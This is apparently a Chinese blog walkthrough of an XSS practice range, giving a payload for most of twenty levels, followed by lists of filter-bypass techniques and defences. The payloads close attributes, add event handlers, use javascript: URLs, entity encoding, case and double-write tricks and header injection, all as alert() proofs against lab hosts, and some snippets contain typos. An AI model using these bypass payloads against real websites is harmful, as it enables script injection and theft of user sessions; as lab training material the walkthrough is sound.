xss靶场通关

xss第一关

提示:不使用过滤器
http://127.0.0.1/xss/level1.php?name=test<script>alert('ggbond')</script>

xss第二关

提示:闭合标签
<>号被实体化了
通过双赢号和>号进行闭合
"><script>alert('ggbond')</script>

xss第三关

提示:单引号闭合并添加事件
<>号都被实体化了
因为html前端代码中;使用标点符号时要空一格
' onclick=alert('ggbond') '

xss第四关

提示:双引号闭合并添加事件
使用双引号来闭合(注意onclick是点击事件,点击搜索框进行触发)
" onclick=alert('ggbond') "

 

xss第五关

提示:javascript伪协议
通过构造href属性来绕过
"><a href="javascript:alert('ggbond')">亲点击</a><"

xss第六关

提示:大小写绕过
因为他会转实体和关键字绕过
大小写绕过
" Onclick=alert('ggbond') "

xss第七关

提示:双重书写
双写过滤
" OOnnclick=alert('ggboonnd') "

xss第八关

提示:字符实体
html实体编码绕过
javascript:alert('ggbond')
编码之后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#103;&#103;&#98;&#111;&#110;&#100;&#39;&#41;

xss第九关

提示:检测关键字存在
http://    必须有不然会报错链接不合法(HTML编码)
javascript:alert('ggbond')
javasc&#114;ipt:%0dhttp://baidu.com%0dalert('ggb&#48;nd')
javasc&#114;ipt:%0dhttp://%0dalert('ggb&#48;nd')   # http://后面没有其他东西也合法;只要有http://就行

xss第十关

提示:隐藏信息
通过构造参数响应发现只有t_sort里面的值被改变了,因此我们可以从该标签进行突破;尝试能不能注入恶意代码进行弹窗
利用$t_sort参数
<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
也可以这样
&t_sort=" type="text" onclick=alert"('xss')

xss第十一关

提示:Referer信息
通关抓包看到缺少referer头
将如下代码加入到referer头中
"type="test" onclick="alert('ggbond')
# 或者插入下列代码
" onmouseover='alert(1)' type="text"

xss第十二关

提示:user-agent信息
通过抓包发现注入点是user-Agent头部
" type="text" onclick="alert('ggbond')

xss第十三关

提示:cookies信息
通过查看源码发现注入点是cookies头部,BP抓包进行修改
" type="text" onclick="alert('ggbond')

xss第十四关

十四关你就别想过了
提示:exif xss (已经被修复)

xss第十五关

自己过去吧
提示:
ng-include属性(不好搞)

xss第十六关

提示:空格等于回车
通过回车符编码绕过空格
<img%0D%0Asrc="x"%0D%0Aonerror="alert('ggbond')"/>

xss第十七关

提示:二合一  arg01和arg02存在注入点
另外需要注意的是arg01=后面要添加空格,否则就是将属性与之前的xsf01.swf?进行连接了
http://127.0.0.1/xss/level17.php?arg01=%20onmousemove&arg02=javascript:alert(%27ggbond%27)

 

xss第十八关

提示:同上注入点arg
http://10.10.10.149/xss/level18.php?arg01=a&arg02=%20onmouseover=alert(‘ggbond’)

xss第十九关

提示:涉及到反编译之后的就别做了
http://10.10.10.149/xss/level19.php?arg01=version&arg02=<a href='javascript:alert(1)'>ggbond</a>

xss第二十关

后面的都涉及到反编译
伙计们别做了吧!!!

xss验证手段总结

1、利用<>标记,构造<script>标签执行JavaScript的xss代码
2、利用html标签属性支持Javascript:script()伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等)、执行xss代码
3、利用JavaScript在引号中只用分号分割单词或强制语句结束,用换行符忽略分号强制结束一个完整的语句,而忽略回车、空格、tab等键、绕过对javascript的关键字过滤,
4、利用html标签性值支持ascii码,对标签属性值进行转码进行规则库的绕过
5、利用事件处理函数、触发事件、执行xss代码。例如<img src='#' οnerrοr=alert('ggbond')>,当浏览器响应页面时,找不到图片的地址,触发onerror事件
6、利用css执行javascript代码
css代码中利用expression触发xss漏洞;如下
<div style="width:expresssion(alert("xss"))";>
<img src='#' style="xss:expression(alert("ggbond"))">
<style>body{background-image:expression(alert("ggbond"));}</stype>
<div style="list-style-image:url(javascript:alert('ggbond'))">
7、css中利用@import触发xss
<stytle>
@import'javascript:alert('ggbond')';
</stytle>
8、css代码中使用@import和link方式导入外部含有xss代码的样式表文件
<link rel="stytlessheet" href="http://www.**.com/a.css">
<stytle type='text/css'>@import url(http://www.**.com/a.css);</style>
9、利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数
10、利用字符编码;javascript支持Unicode、escapes、十六进制、八进制等编码形式。

xss防御手段

1、xss过滤函数需过滤<><script></script>等字符
2、xss过滤函数需过滤javascript等关键字
3、xss过滤函数需过滤&#\等字符
4、xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字
5、避免使用eval、new Function等执行字符串的方法,除非确认字符串和用户输入五关
6、使用cookies的httpOnly属性,加上了这个属性的cookies字段,js是无法进行读写的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值